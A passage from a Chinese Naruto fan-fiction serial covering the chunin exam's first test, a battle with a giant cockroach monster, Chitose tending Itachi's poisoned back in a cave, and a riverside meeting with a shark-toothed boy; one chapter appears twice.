紧随其后,第二个名字落下:
“宇智波鼬。”
意料之中。
在继续几个合格的人被念到名字之后,依旧没有出现千歲的名字。
“最后一位…”
空气在这一刻几乎凝固,所有人都屏住呼吸,等待着下一个名字。
依比喜的目光缓缓下移,落在还未完全缓过神的千歲身上,一勾玉写轮眼刚刚闭合,她依旧有些失神,指尖还微微发颤。
考官的声音低沉而清晰,穿透全场的寂静:
“宇智波千歲。”
三个字落下,由里香猛地攥紧了手,悬在半空的心终于彻底落地,长长松了一口气,眼底掠过一丝难以掩饰的庆幸。
千歲自己却是一怔,茫然地抬起头,似乎还没反应过来——她只答完了第一题,竟也通过了。
不远处的鼬终于结束了沉思,微微抬眼,目光轻扫过千歲的方向,眼底没有多余的情绪,却像是早已预料到这个结果。
依比喜冷漠地环视一圈剩下的合格者,声音不带一丝温度:
“合格者留下,其余人,即刻退出考场。中忍考试第一场,到此结束。”
就在全场渐渐安静之时,一道不甘又愤怒的质问猛地刺破空气。
一名被判定不合格的考生猛地向前一步,指着还在失神的千歲,脸色涨得通红:“我刚才收卷的时候看得清清楚楚,她只答出来一题!凭什么她能合格?这根本不公平!”
他攥紧了拳头,语气里满是憋屈。他自己选的是第二套试题,而他的队友选了第一套,卷子写得满满当当,却依旧深陷幻境没能醒来。难道仅仅因为千歲醒了过来,就能无视答题内容直接合格?这让他无论如何也无法接受。
森乃依比喜沉默了片刻,那双经历过无数拷问的眼睛平静地望向他,语气低沉而有力:“你真的明白,这场中忍考试第一场,究竟在考察你们什么吗?”
“什么啊……”考生愣在原地,语气弱了几分。
“对于忍者而言,这种程度的笔试,根本不值一提。”依比喜缓缓开口,揭开了这场考试的真相,“我给了你们选择,本质上是让你们直面内心的弱点。第一套试卷的十道题,并非我之前所说的难度随机,而是全部固定难度,只打乱了顺序。只要答错任意一题,幻术术式便会立刻启动。”
他顿了顿,目光扫过全场仍心有余悸的忍者。
“想必你们都在幻境中体会过了,那种连自己中招都无法察觉的诡异与绝望。”
在场不少人下意识冒出冷汗,回想起幻境里的挣扎,依旧心有余悸。
“所以,这场考试与答题数量、正确与否毫无关系。能够坚信自我、克服内心深处的恐惧与弱点,从幻境中彻底挣脱的人,才有资格成为中忍。”
真相轰然砸落,所有人这才恍然大悟。
原来这场笔试从一开始就是假象,真正的考题,
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是心性、意志与对自我的绝对坚信。
人群中立刻有人追问道:“那选择第一套试卷的人,万一从一开始就全部答对,根本没有进入幻境呢?这样的人也能合格吗?”
依比喜闻言,只是淡淡地吐出一句:“不可能,绝不会出现这种情况。”
“什么?”众人皆是一惊。
“我已经说过,第一套卷子,是为每一位考生量身定做的。你们内心最薄弱的环节,自然也包括了你们最不擅长、最没有把握的理论知识。”
他目光冷冽,缓缓扫过全场,语气带着不容置疑的绝对掌控。
“所以,只要选择了第一套试卷,就不存在全部答对的可能。你们所有人,都必然会触发幻术,坠入幻境。”
话音落下,考场彻底安静。
原来从一开始,这场考试就没有任何侥幸。
能醒过来的人,靠的从不是运气与学识,而是跨越恐惧、战胜自我的意志。
“那……第二套试卷的意义又是什么?”立刻又有考生举手追问。
依比喜忽然发出一声冰冷的嗤笑,眼神里带着对弱者的淡漠与对强者的认可。
“因为有一类人,可以无视我刚才所说的一切。”
他语气骤然加重,掷地有声:
“在真正拥有实力的强者面前,内心那点微不足道的脆弱,根本一文不值!”
不合格的考生陆续离场,空荡荡的教室里,最终只剩下依比喜与几位考官。
依比喜仍坐在原位,低头默默翻阅着回收的试卷,神色平静无波。直到指尖触到宇智波千歲的答卷时,他翻阅的动作骤然一顿。
纸上只写了一道题的答案,内容却让见多识广的拷问官都微微挑眉。
“千手扉子??”
依比喜看着这离谱到荒谬的答案,低声重复了一遍,语气里带着几分难以置信。
“这年头,还有这样的忍者吗……”
身旁一位考官凑过来看了一眼,忍不住开口:“依比喜大人,这位考生连最简单的基础题都答错了,却能强行从幻境中苏醒……看来接下来的第二场考试,还真不好判断。”
依比喜轻轻放下试卷,目光深邃地望向门口的方向,沉默片刻后缓缓开口。
“不好说。”
他顿了顿,声音低沉而意味深长。
“越是这种看似离谱的小鬼,可能蕴藏着我们无法估量的力量。”
56.最讨厌蟑螂了!!!
那股令人作呕的生命力,瞬间具象化。
一棵参天巨树轰然断裂,巨大的黑影横扫而出,尘土飞扬中,一只远超常人大小的蟑螂硬壳外壳猛地砸落地面!
那是一只体型堪比小型战车的巨型蟑螂!它的背部覆盖着暗褐色的厚重外骨骼,而在它硕大的头颅顶端,竟硬生生长着一个男人的上半身——双眼空洞,皮肤惨白,表情麻木,却像傀儡般附着在虫首之上。
是蟑螂精。
它仅仅是呼吸之间,翅翼振动便扬起一片令人窒息的腥风。
“吼——!!”
一声嘶吼,混合着人声与虫鸣,震得耳膜生疼。它猛地一甩带刺的尾鞭,劲风如锤,直逼三人!
这强风,快要把三人给吹走。三个人半趴在地面上,勉强抵御着这狂风。可是,千歲的刃具包扣子瞬间弹开,里面的两个卷轴,一下子飞出。
蟑螂精看到卷轴,一下子伸出可以收缩自如的触角,将卷轴稳稳卷在触角之上。
随即,一口把卷轴吃进了嘴巴。
!?三人都愣住了
最先反应过来的是鼬。
“由里香,左翼牵制!”鼬的声音冷静得可怕。
“明白!”
由里香瞬间提速,双手结印速度极快,掌心燃起熊熊烈火。火遁·大火球之术瞬间打出,一轮烈日般的火幕直扑蟑螂精复眼,试图干扰它的视野。
“滋啦——!!”
高温撞上坚硬的外骨骼,竟只泛起点点白汽,无法造成实质伤害。
蟑螂精痛怒一声,头部那男人的面孔扭曲起来,口中发出刺耳的超声波:
“聒噪……死。”
它头部突然喷射出一股墨绿色的腐蚀性毒雾,扇形笼罩全场。
“屏住呼吸!”鼬大吼,同时反手一挥风遁,狂风呼啸,硬生生将毒雾挡回一半。
但毒雾太过浓密,还是有几缕漏风,擦过由里香的右腿。
“嘶——!!”
皮肉瞬间被腐蚀,由里香闷哼一声,右腿瞬间失去知觉,踉跄半步,脸色瞬间苍白如纸。
“由里香!”千歲惊呼。
“别管我……先攻击它的复眼!”由里香咬牙
鼬甩出两枚风遁·风魔手里剑,想要牵制蟑螂精的动作。
可蟑螂精趁机突进,巨型前足横扫,手里剑被弹开。
“鼬!”千歲眼神一厉,可她顾不了其他,蟑螂精如果过来,必然会把她和由里香压扁。怪力瞬间爆发,整个人如金色炮弹般冲上前去。
她要替由里香挡下这一击。
“砰——!!”
一记实心撞击,千歲双手抵住蟑螂精的前足,硬生生将它的攻势挡停在半空。
“呃啊!”
巨大的反震力让千歲虎口生裂,手臂青筋暴起。她能感觉到那虫壳坚硬如铁,甚至震得她骨骼都在微响。
好重…感觉自己的双手快要碎掉了…
鼬见状,指尖凝聚查克拉,豪火球之术瞬间爆发,直扑蟑螂精头部复眼。
“吼!”
蟑螂精受惊,头猛地一偏,避开火球的同时,松开前足,尾部尖刺骤然加速,直刺鼬的要害!
鼬侧身闪避,尖刺擦过衣角,将他衣袖划开一道深痕。
轻伤。
血珠渗出。
鼬却连眼皮都没眨一下,借着闪避的惯性,风魔手里剑破空而出,精准钉入蟑螂精头部复眼之中!
“吱——!!!”
蟑螂精痛得疯狂挣扎,巨树成片倒塌,整个地面都在震动。
“就是现在!”
千歲趁它狂躁不稳,猛地翻身跃上它的背部,左手死死扣住它的硬壳缝隙,右手握紧小太刀。
“继续限制它的行动!”鼬高声下令。
“我来!”
由里香强忍右腿的剧痛,脚步疾驰,双手飞快结印——土遁·土流壁!
数道岩墙瞬间竖起,试图挡住蟑螂精的去路。
可蟑螂精体型太大,猛地震翅,狂风炸开,直接冲破岩墙。
它头顶的男人面孔突然露出狞笑,空洞的眼窝中渗出黑丝:
“……恐惧。”
黑丝如藤蔓般缠绕,朝着千歲蔓延而去。
“小心!”鼬飞扑而来,手中苦无破空斩击,黑丝瞬间被切碎。
但就在这一瞬的牵制中——
蟑螂精抬起前足,带着破风声,狠狠砸向还在地面挣扎的由里香!
“由里香!!”
千歲疯了一般冲过去,想要将昏迷的由里香抱到安全地带。可蟑螂精粗壮带毒的尾鞭已经如铁鞭般横扫而来,带着破空的锐响,狠狠抽在她的后背。
千歲整个人像断线的风筝一样飞出去,重重撞在粗壮的树干上,一口鲜血当场喷了出来。她眼前一黑,浑身的骨头仿佛都碎了,怪力再也难以凝聚。
由里香则滚落在杂草丛中,一动不动,彻底失去了意识。
鼬的眼神在那一刻彻底沉了下去。
写轮眼原本只是两勾玉,此刻在黑暗中微微颤动,周身的气压低得吓人。
眼前的蟑螂精体型堪比巨熊,厚重的外骨骼坚硬如钢铁,火遁、风遁打在上面只留下淡淡白痕,根本无法破防。
更糟糕的是,刚才抢夺而来的天地卷轴,被它一口吞进了腹腔之内。
不杀掉它,不仅救不了由里香,三人都会死在这里,考试也彻底失败。
“吼——!!”
蟑螂精发出震耳欲聋的咆哮,头顶的男人面孔扭曲狰狞,布满毒刺的前足猛地朝着鼬狠狠插下!
鼬身形一闪,险之又险地避开,地面瞬间被砸出深坑,碎石飞溅。他反手甩出三枚苦无,精准射向蟑螂精的复眼,却被它坚硬的外壳弹开。
毒雾再次从虫体喷出,墨绿色的雾气所过之处,草木瞬间枯萎腐烂。
“可恶……外壳太硬了!”
鼬急速后退,衣袖却被毒刺轻轻一划,淡淡的黑色毒液立刻渗入皮肤,伤口瞬间灼烧发黑。
但鼬连眉头都没皱一下,目光死死锁定蟑螂精全身,试图在高速移动中寻找破绽。
复眼、口器、关节、腹部……所有地方都被硬壳覆盖,几乎无懈可击。
就在这时,蟑螂精猛地转头,尾鞭再次朝着瘫倒在树下、动弹不得的千歲抽去!
“前辈!”
鼬心头猛地一紧。
那一瞬间,他看见千歲艰难地抬起头,嘴角还挂着血痕,眼神里却没有退缩,只有不甘与倔强。她明明连站起来都做不到,却依旧死死握着那把抢来的小太刀。
——由里香已经倒下,我必须保护她。
千歲踉跄地爬起来,再次凝聚查克拉,双手持刀,把刀架在身前,用刀身阻挡着蟑螂精的尾鞭。
“铮——!!”
千歲握着小太刀的手双手颤抖,一副快要撑不住的模样。
“鼬!蟑螂精一定有弱点!”千歲双手支撑着,“我帮你撑着,你…它的弱点,交给你了!”
必须找到弱点。
一定有……写轮眼能看穿的弱点。
查克拉的凝聚已经快要到极限,可千歲依然没有松手,她崩溃又倔强的大喊:
“我最讨厌蟑螂了啦!!!”
“前辈!”
此刻,他只能逼自己去寻找对手的弱点。
弱点。
任何忍术都一定有弱点。
鼬眼底的两勾玉写轮眼,在极致的危急与情绪爆发中,轰然裂开,化作三枚勾玉!
三勾玉写轮眼,觉醒!
视野在这一刻彻底变了。
蟑螂精的一举一动、查
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克拉流动、肌肉收缩、甚至毒液涌动的轨迹,全都被无限放慢,清晰地映在鼬的瞳孔里。
他终于看见了。
在蟑螂精头部男人上半身的下方,与虫体连接的褶皱处,有一块指甲盖大小的软膜。
刚刚攻击的时候,他就一直用尾鞭保护着这一块地方,反而让人觉得蹊跷。
那里没有硬壳,没有毒腺,大概是它全身唯一的弱点,也是查克拉流动的核心。
“找到了……”鼬低声开口。
千歲终于是撑不住尾鞭的力量,她收力,纵身一跃,勉强躲开了攻击。
可问题随之而来——
弱点极小,位置极高,且被蟑螂精刻意护在身下,普通忍术与武器根本无法触及。
必须有人近身,必须有人用力量强行破开防御,再由他精准攻击弱点。
而现在,能做到这一点的,只有千歲。
“前辈,你还能站吗?”鼬的声音穿透硝烟,冷静而有力。
千歲咬着牙,撑着树干一点点爬起来,伤口剧痛让她浑身发抖,可她还是握紧了小太刀:“我能……鼬,你找到弱点了对不对?”
“嗯。”鼬点头,三勾玉写轮眼紧盯着敌人,“它头部下方,与人身连接的软膜,是唯一要害。但外壳太硬,必须由你用拳头打开缺口,我来负责致命一击。”
千歲深吸一口气。
她知道,这是一场赌上性命的配合。
“好。”千歲眼神坚定。
蟑螂精再次狂啸而来,前足带着剧毒狠狠砸下。
鼬身形瞬身,手中风魔手里剑旋转飞出,故意吸引蟑螂精的注意力。
“就是现在!”
千歲咬紧牙关,将全身仅剩的力气全部凝聚在右拳,怪力不顾一切爆发。
她不顾毒雾侵蚀,不顾伤口崩裂,像一道金色的闪电,直冲蟑螂精的侧腹!
一拳砸下!
“砰————!!”
恐怖的蛮力硬生生将蟑螂精坚硬的外壳砸得凹陷下去,虫体吃痛,猛地向一侧歪倒,头部下方的软膜终于暴露出来!
“成功了!鼬!”
可就在这一刻,蟑螂精剧痛之下疯狂反击,尾鞭带着致命毒液,再次抽向千歲!
千歲已经力竭,根本无法躲闪。
“千歲!”
鼬瞳孔骤缩,几乎在同一刹那挡在千歲身前,用后背硬生生接下这一记毒鞭!
“呃……”
闷哼一声,鼬的后背立刻被毒鞭划出一道深可见骨的伤口,黑色毒液迅速蔓延。
但他没有退。
他死死撑着身体,三勾玉写轮眼锁定那抹暴露的软膜,右手凝聚全部查克拉,握住沾满起爆符的苦无。
“结束了。”
鼬纵身跃起,在半空中划出一道残影,苦无带着火光,精准无比地刺入那块唯一的软膜之中!
“吱——————!!!”
凄厉到极致的惨叫撕裂森林。
蟑螂精庞大的身躯剧烈抽搐,头顶的男人面孔发出最后的痛苦哀嚎,随后彻底僵硬。
巨型身躯轰然倒地,彻底没了气息。
从它的腹腔中,两枚卷轴缓缓滚了出来。其中一枚卷轴已经被胃液消化的只剩一半了。
千歲踉跄着扶住向后倒下的鼬,触碰到他后背伤口的那一刻,指尖满是温热的血与冰冷的毒液。
“鼬……你受伤了……”
鼬微微喘息,三勾玉缓缓褪去,脸色苍白,却依旧轻轻摇头:“我没事……先去看由里香。”
千歲转头望向草丛中昏迷不醒的同伴,满脸担心。
这场战斗,他们赢了。
可代价,是两人负伤,一人重伤昏迷。失去一枚卷轴。
死亡森林的残酷,在这一刻,真正刻进了他们的骨血里。
57.第58章 “鼬 把衣服脱了”
巨树之森的浓荫遮蔽了所有天光。
千歲背着昏迷的由里香,与鼬并肩穿行在盘根错节的古林间。方才的激战里,他们遗失了一枚至关重要的卷轴,如今只剩最后一枚。而由里香重伤不醒,三人早已体力透支,处境狼狈到了极点。
“前辈,我们先找个地方休整一下,恢复体力吧。”
鼬的声音带着几分疲惫,眼下这已是唯一的出路。很快,三人在林间深处找到了一处隐蔽的山洞。千歲小心翼翼地将由里香轻放在地面,随即俯身检查她的伤势。
当目光扫过由里香小腿上那道狰狞的伤口时,千岁的眉峰微蹙——伤口仍在不断渗着暗紫色的毒气,周遭皮肤已泛起骇人的黑青,显然是中了剧毒。
千歲没有多言,动作利落地从由里香的刃具包中翻出医疗用具。水之国的那段记忆骤然在脑海中翻涌,是由里香曾亲手教过她基础的伤口处理方法。千歲凝神屏息,双手缓缓凝聚起微弱却稳定的查克拉,凭着记忆催动粗浅的医疗忍术,一点点为由里香清理、压制毒素。
山洞内光线昏暗,千歲的脸庞隐在阴影之中,只留下一道专注而紧绷的侧影。她指尖的查克拉轻柔却坚定地覆在伤口上,低沉的声音缓缓响起,不带一丝颤抖:
“之前在雾隐,由里香就是这样救我的……”
鼬转头,看着千歲。
下一秒,少女的声音陡然变得清晰而锐利,穿透了洞内的沉寂:
“这次……我一定要还她的这份人情。”
没有哭诉,没有怯懦,只有坚定,与属于少女独有的、不肯弯折的倔强。那股从灵魂深处迸发出来的执念,直直撞进鼬的心底,让他平静的心湖骤然掀起涟漪。
紧接着,千歲抬起头,目光穿过昏暗,稳稳落在鼬的身上,眼神亮得如同燃着星火:
“这次中忍考试,我们一定要合格。”
她一字一句,郑重而滚烫:
“三个人一起。”
那一刻,鼬的愣住了。
他望着眼前的千歲,过往的记忆与此刻的身影在脑海中重叠、碰撞,让他一向冷静自持的内心,第一次生出清晰而强烈的感受。
她学会了精准的剑术,掌握了爆发力惊人的怪力,拥有了直面危险的勇气,甚至在绝境中稳住心神,动用医疗忍术守护同伴。
方才并肩作战的画面再度浮现,她是能与他默契配合、并肩迎敌的可靠同伴。她没有逃避,不再流泪,不再退缩,扛起了责任,记住了恩情,立下了三人同行的誓言。
起初,他只是单纯地看着。看着她指尖漾出的淡绿色查克拉附上伤口,看着她强制压下恐惧的心理,处理伤口时异常稳当的手法。然而,当视线缓缓移上千歲的侧脸时,少女的表情上看不见害怕,眼眶中也看不到泪水,只有倔强。
那究竟是怎样的一种蜕变。
鼬不由得回想起第一次和千歲在忍校的抓猫任务。也是在这样昏暗压抑的环境里,也是面对强敌,目睹暗部大叔惨死在眼前。那时的千歲,只是僵在原地,泪水混合着泥土糊满脸庞,连最简单的躲避都做不到,脆弱得仿佛一碰就碎。
如今,重伤昏迷的伙伴,无解的剧毒,也没有让她掉一滴眼泪,没有露出丝毫畏惧的神色。她的动作果决,每一次催动查克拉都精准得令人心惊。那种从骨子里透出来的韧劲,是鼬从未在她身上见过的。
鼬微微垂眸,视线落在千歲紧抿的薄唇上。那是近乎倔强的坚定。她在拼命压抑着内心的情绪,用冷静来掩盖所有的不安,努力成为此刻队伍里唯一能依靠的人。
这种成长,不是凭空而来的。
是无数次在生死边缘的挣扎,是一遍遍地把眼泪咽回肚子里,把脆弱变成铠甲。
鼬的心头,先是惊讶,随即被一种难以言喻的敬佩所填满。他原以为千歲只是一个被保护得很好的女孩子,却没想到,她骨子里藏着如此坚韧的生命力。
在这暗无天日的森洞里,在这生死未卜的绝境里,眼前这个少女的身影,竟莫名地给了鼬一种前所未有的安心感。
她比自己想象中,要强大得多。
医疗忍术的淡绿色查克拉如同温润的流水,缓缓流过由里香的伤口。千歲长舒了一口气,紧绷的神经终于松弛下来。她转头看向洞口的方向,语气平静得仿佛刚才什么都没发生过:
“鼬,把上衣脱了。”
鼬猛地一怔,动作停滞了半拍。
他闪过一丝错愕,眉头微不可察地皱起。这个指令太过突然,超出了他对忍者间互助行为的常规认知。前辈这是……什么意思?
念头还未转完,千歲已快步走到他面前,目光锐利如刀,径直落在他挺直的背脊上。
“刚刚你救我的时候,后背受伤了吧?”
鼬下意识地挺了挺胸。那是在之前的突围中,为了替千歲挡住攻击而留下的旧伤。此刻在阴暗的山洞里,伤口正隐隐作痛,连带着背部的肌肉都僵硬了几分。
“不处理的话,毒马上就会蔓延到四肢的。”千歲一边麻利地铺陈好医疗用具,一边蹲下身,语气不容置疑,“现在,脱。”
鼬从未经历过这样的场面。他是忍者,身体的伤痛于他而言不过是家常便饭,但从未有过如此近距离、由他人全权处理背部隐私的时刻。他一时竟找不到推脱的理由,望着千歲那双清澈而又
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坚定的眼眸,内心微动,低声应道:
“……我知道了。”
指尖勾住高领上衣的边缘,他动作略显僵硬地将衣服从肩头褪下。当赤裸的后背暴露在空气中,那道蜿蜒的伤口显露出来时,鼬甚至能感觉到身后那道灼热的视线。他下意识地想蜷缩起身体,却又强行忍住,只能死死抱着脱下的衣服护在胸前,仿佛那是某种防御性的盾牌,在遮挡着难以言说的羞涩。
千歲的指尖轻轻覆上伤口,查克拉细腻地渗入皮肤。那种微凉的、带着治愈力量的触感透过查克拉传来,鼬深吸了一口气,试图用专注来分散注意力,却无论如何都无法完全忽略身后少女的存在。
时间被无限拉长,洞内静得只能听见两人的呼吸声。
突然,千歲的手一顿,急促的查克拉猛地刺激了一下受损的神经。
“嘶——”鼬忍不住低呼出声,声音里带着一丝不易察觉的隐忍。
“对不起!!是不是弄疼你了?!”千歲的声音瞬间慌乱起来,带着后怕。
“……没事,”鼬压下喉间的悸动,声音比平时低沉了几分,带着难得的温和,“前辈按你自己的节奏就好。”
“鼬你干嘛一直弓着身体,这样我不好操作啦。把背挺直。”
鼬闻言放松了背部的肌肉,努力让自己的背脊保持笔直。然而,当那股温热的气息随着查克拉的流动拂过皮肤时,他的耳尖竟不受控制地微微发烫。
这是他第一次,将自己赤裸的上半身,完全暴露在一个同龄的异性面前。
嗯?等下……
鼬的脑海中突然闪过一个画面,神经猛地一颤。
貌似……不是第一次?
是之前的身体互换风波。那个时候,千歲正占据着他的身体,那肯定避免不了上厕所,洗澡…
这个念头如同惊雷般在脑海中炸响,瞬间将他那点可怜的矜持彻底击碎。他的后背猛地一僵,脸颊上的红晕以肉眼可见的速度疯狂蔓延,连带着脖颈都染上了一层深粉色。随即,身子又缩了缩。
“你干嘛啦?突然吓我一跳,查克拉都被打断了!”千歲不满地抱怨,手上的动作也停住了。
“对、对不起……前辈……”鼬慌忙调整呼吸,试图让自己看起来正常一点。他重新调整好,将脸埋得更深,仿佛这样就能藏起此刻狼狈的心境。
只是,在这幽暗的山洞里,在千歲专注的目光下,鼬知道,有些东西彻底不一样了。
那道伤口或许会愈合,但这一刻内心的悸动与慌乱,却深深烙印在了他的心底。
他想,从今往后,大概再也无法像以前那样,坦然地面对这位“前辈”了。
58.第58章 “鼬 把衣服脱了”
巨树之森的浓荫遮蔽了所有天光。
千歲背着昏迷的由里香,与鼬并肩穿行在盘根错节的古林间。方才的激战里,他们遗失了一枚至关重要的卷轴,如今只剩最后一枚。而由里香重伤不醒,三人早已体力透支,处境狼狈到了极点。
“前辈,我们先找个地方休整一下,恢复体力吧。”
鼬的声音带着几分疲惫,眼下这已是唯一的出路。很快,三人在林间深处找到了一处隐蔽的山洞。千歲小心翼翼地将由里香轻放在地面,随即俯身检查她的伤势。
当目光扫过由里香小腿上那道狰狞的伤口时,千岁的眉峰微蹙——伤口仍在不断渗着暗紫色的毒气,周遭皮肤已泛起骇人的黑青,显然是中了剧毒。
千歲没有多言,动作利落地从由里香的刃具包中翻出医疗用具。水之国的那段记忆骤然在脑海中翻涌,是由里香曾亲手教过她基础的伤口处理方法。千歲凝神屏息,双手缓缓凝聚起微弱却稳定的查克拉,凭着记忆催动粗浅的医疗忍术,一点点为由里香清理、压制毒素。
山洞内光线昏暗,千歲的脸庞隐在阴影之中,只留下一道专注而紧绷的侧影。她指尖的查克拉轻柔却坚定地覆在伤口上,低沉的声音缓缓响起,不带一丝颤抖:
“之前在雾隐,由里香就是这样救我的……”
鼬转头,看着千歲。
下一秒,少女的声音陡然变得清晰而锐利,穿透了洞内的沉寂:
“这次……我一定要还她的这份人情。”
没有哭诉,没有怯懦,只有坚定,与属于少女独有的、不肯弯折的倔强。那股从灵魂深处迸发出来的执念,直直撞进鼬的心底,让他平静的心湖骤然掀起涟漪。
紧接着,千歲抬起头,目光穿过昏暗,稳稳落在鼬的身上,眼神亮得如同燃着星火:
“这次中忍考试,我们一定要合格。”
她一字一句,郑重而滚烫:
“三个人一起。”
那一刻,鼬的愣住了。
他望着眼前的千歲,过往的记忆与此刻的身影在脑海中重叠、碰撞,让他一向冷静自持的内心,第一次生出清晰而强烈的感受。
她学会了精准的剑术,掌握了爆发力惊人的怪力,拥有了直面危险的勇气,甚至在绝境中稳住心神,动用医疗忍术守护同伴。
方才并肩作战的画面再度浮现,她是能与他默契配合、并肩迎敌的可靠同伴。她没有逃避,不再流泪,不再退缩,扛起了责任,记住了恩情,立下了三人同行的誓言。
起初,他只是单纯地看着。看着她指尖漾出的淡绿色查克拉附上伤口,看着她强制压下恐惧的心理,处理伤口时异常稳当的手法。然而,当视线缓缓移上千歲的侧脸时,少女的表情上看不见害怕,眼眶中也看不到泪水,只有倔强。
那究竟是怎样的一种蜕变。
鼬不由得回想起第一次和千歲在忍校的抓猫任务。也是在这样昏暗压抑的环境里,也是面对强敌,目睹暗部大叔惨死在眼前。那时的千歲,只是僵在原地,泪水混合着泥土糊满脸庞,连最简单的躲避都做不到,脆弱得仿佛一碰就碎。
如今,重伤昏迷的伙伴,无解的剧毒,也没有让她掉一滴眼泪,没有露出丝毫畏惧的神色。她的动作果决,每一次催动查克拉都精准得令人心惊。那种从骨子里透出来的韧劲,是鼬从未在她身上见过的。
鼬微微垂眸,视线落在千歲紧抿的薄唇上。那是近乎倔强的坚定。她在拼命压抑着内心的情绪,用冷静来掩盖所有的不安,努力成为此刻队伍里唯一能依靠的人。
这种成长,不是凭空而来的。
是无数次在生死边缘的挣扎,是一遍遍地把眼泪咽回肚子里,把脆弱变成铠甲。
鼬的心头,先是惊讶,随即被一种难以言喻的敬佩所填满。他原以为千歲只是一个被保护得很好的女孩子,却没想到,她骨子里藏着如此坚韧的生命力。
在这暗无天日的森洞里,在这生死未卜的绝境里,眼前这个少女的身影,竟莫名地给了鼬一种前所未有的安心感。
她比自己想象中,要强大得多。
医疗忍术的淡绿色查克拉如同温润的流水,缓缓流过由里香的伤口。千歲长舒了一口气,紧绷的神经终于松弛下来。她转头看向洞口的方向,语气平静得仿佛刚才什么都没发生过:
“鼬,把上衣脱了。”
鼬猛地一怔,动作停滞了半拍。
他闪过一丝错愕,眉头微不可察地皱起。这个指令太过突然,超出了他对忍者间互助行为的常规认知。前辈这是……什么意思?
念头还未转完,千歲已快步走到他面前,目光锐利如刀,径直落在他挺直的背脊上。
“刚刚你救我的时候,后背受伤了吧?”
鼬下意识地挺了挺胸。那是在之前的突围中,为了替千歲挡住攻击而留下的旧伤。此刻在阴暗的山洞里,伤口正隐隐作痛,连带着背部的肌肉都僵硬了几分。
“不处理的话,毒马上就会蔓延到四肢的。”千歲一边麻利地铺陈好医疗用具,一边蹲下身,语气不容置疑,“现在,脱。”
鼬从未经历过这样的场面。他是忍者,身体的伤痛于他而言不过是家常便饭,但从未有过如此近距离、由他人全权处理背部隐私的时刻。他一时竟找不到推脱的理由,望着千歲那双清澈而又
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“……我知道了。”
指尖勾住高领上衣的边缘,他动作略显僵硬地将衣服从肩头褪下。当赤裸的后背暴露在空气中,那道蜿蜒的伤口显露出来时,鼬甚至能感觉到身后那道灼热的视线。他下意识地想蜷缩起身体,却又强行忍住,只能死死抱着脱下的衣服护在胸前,仿佛那是某种防御性的盾牌,在遮挡着难以言说的羞涩。
千歲的指尖轻轻覆上伤口,查克拉细腻地渗入皮肤。那种微凉的、带着治愈力量的触感透过查克拉传来,鼬深吸了一口气,试图用专注来分散注意力,却无论如何都无法完全忽略身后少女的存在。
时间被无限拉长,洞内静得只能听见两人的呼吸声。
突然,千歲的手一顿,急促的查克拉猛地刺激了一下受损的神经。
“嘶——”鼬忍不住低呼出声,声音里带着一丝不易察觉的隐忍。
“对不起!!是不是弄疼你了?!”千歲的声音瞬间慌乱起来,带着后怕。
“……没事,”鼬压下喉间的悸动,声音比平时低沉了几分,带着难得的温和,“前辈按你自己的节奏就好。”
“鼬你干嘛一直弓着身体,这样我不好操作啦。把背挺直。”
鼬闻言放松了背部的肌肉,努力让自己的背脊保持笔直。然而,当那股温热的气息随着查克拉的流动拂过皮肤时,他的耳尖竟不受控制地微微发烫。
这是他第一次,将自己赤裸的上半身,完全暴露在一个同龄的异性面前。
嗯?等下……
鼬的脑海中突然闪过一个画面,神经猛地一颤。
貌似……不是第一次?
是之前的身体互换风波。那个时候,千歲正占据着他的身体,那肯定避免不了上厕所,洗澡…
这个念头如同惊雷般在脑海中炸响,瞬间将他那点可怜的矜持彻底击碎。他的后背猛地一僵,脸颊上的红晕以肉眼可见的速度疯狂蔓延,连带着脖颈都染上了一层深粉色。随即,身子又缩了缩。
“你干嘛啦?突然吓我一跳,查克拉都被打断了!”千歲不满地抱怨,手上的动作也停住了。
“对、对不起……前辈……”鼬慌忙调整呼吸,试图让自己看起来正常一点。他重新调整好,将脸埋得更深,仿佛这样就能藏起此刻狼狈的心境。
只是,在这幽暗的山洞里,在千歲专注的目光下,鼬知道,有些东西彻底不一样了。
那道伤口或许会愈合,但这一刻内心的悸动与慌乱,却深深烙印在了他的心底。
他想,从今往后,大概再也无法像以前那样,坦然地面对这位“前辈”了。
59.第59章 鲨鱼牙齿的少年
休整了一天一夜,千歲一直守在由里香身边,一遍遍为她更换渗血的纱布,小心清理着发炎溃烂的伤口,连片刻都不肯离开。鼬的后背也受了伤,行动不便,这期间大大小小的事,几乎全是千歲一个人撑着照料。
直到第二天,由里香终于轻轻睁开了眼。
千歲悬在心口的那块大石头,这才算真正落了地。她轻轻松了口气,转头对鼬轻声道:“你帮我照看一下由里香,我去西边的小河打点水回来。”
鼬微微点头,语气沉稳又带着几分担忧:“前辈,路上小心,把太刀带上。”
千歲应了一声,抓起太刀便快步往林间小河走去。
来到河边,她刚弯下腰,准备俯身取水,眼角却不经意间瞥见水面的倒影——身后不知何时,竟多了一道人影。
她心头一紧,几乎是本能般瞬间摸出苦无,回身便直刺过去。
可那人影竟在刹那间化作一滩冰凉的水,顺着泥土滑落,又在不远处重新凝聚成人形。
那是个有着清爽蓝色短发寸头的少年,看起来比千岁还要小上两三岁,眉眼干净,身后却背着一把形状格外怪异的大刀,让人一眼就忘不掉。
千歲握着苦无,依旧保持着戒备姿态,语气带着点小强势:“躲在我身后鬼鬼祟祟的,想干什么?我身上可没有什么卷轴。”
她本以为又是来寻事的敌人,说话都带着刺。
可对面的少年却一下子慌了,吞吞吐吐地小声道歉:“那、那个……对不起,吓到你了……”
千歲愣了愣,有点摸不着头脑。
少年挠了挠头,继续小声解释:“我、我看你一个人在河边,还以为你想抓鱼吃……”
千岁皱了皱鼻子,一脸嫌弃:“这里的鱼长得丑死了,我才不要吃。”
嘴上这么说,她手里的苦无却依旧没有放松。
少年连忙又补充:“对、对了,我是想提醒你……这河里有食人鱼,很危险的。”
千歲目光落在他那一口微微尖锐、有点像小鲨鱼似的牙齿,心里默默吐槽:怎么看,都觉得你比食人鱼还像食人鱼吧……
少年见她不说话,又小心翼翼地问:“那、那你是来打水的吗?”
千歲偏过头,嘴硬得很:“才不告诉你呢。”
少年却一点都不生气,反而很认真地说:“如果你要取水的话……我、我可以帮你。”
千歲半信半疑。这种节骨眼上,谁知道对方是不是在耍什么花招。可当她低头瞥见岸边水里隐隐游弋、虎视眈眈的食人鱼群,又实在不想冒险靠近。
她犹豫了片刻,终是松口:“那好吧……我倒要看看你怎么帮。”
话音刚落,少年便结了印,轻柔的水遁之力泛起,河面上一道干净的水流腾空而起,稳稳地被引进水壶里,动作利落又温柔。
“可、可以了。”少年小声说。
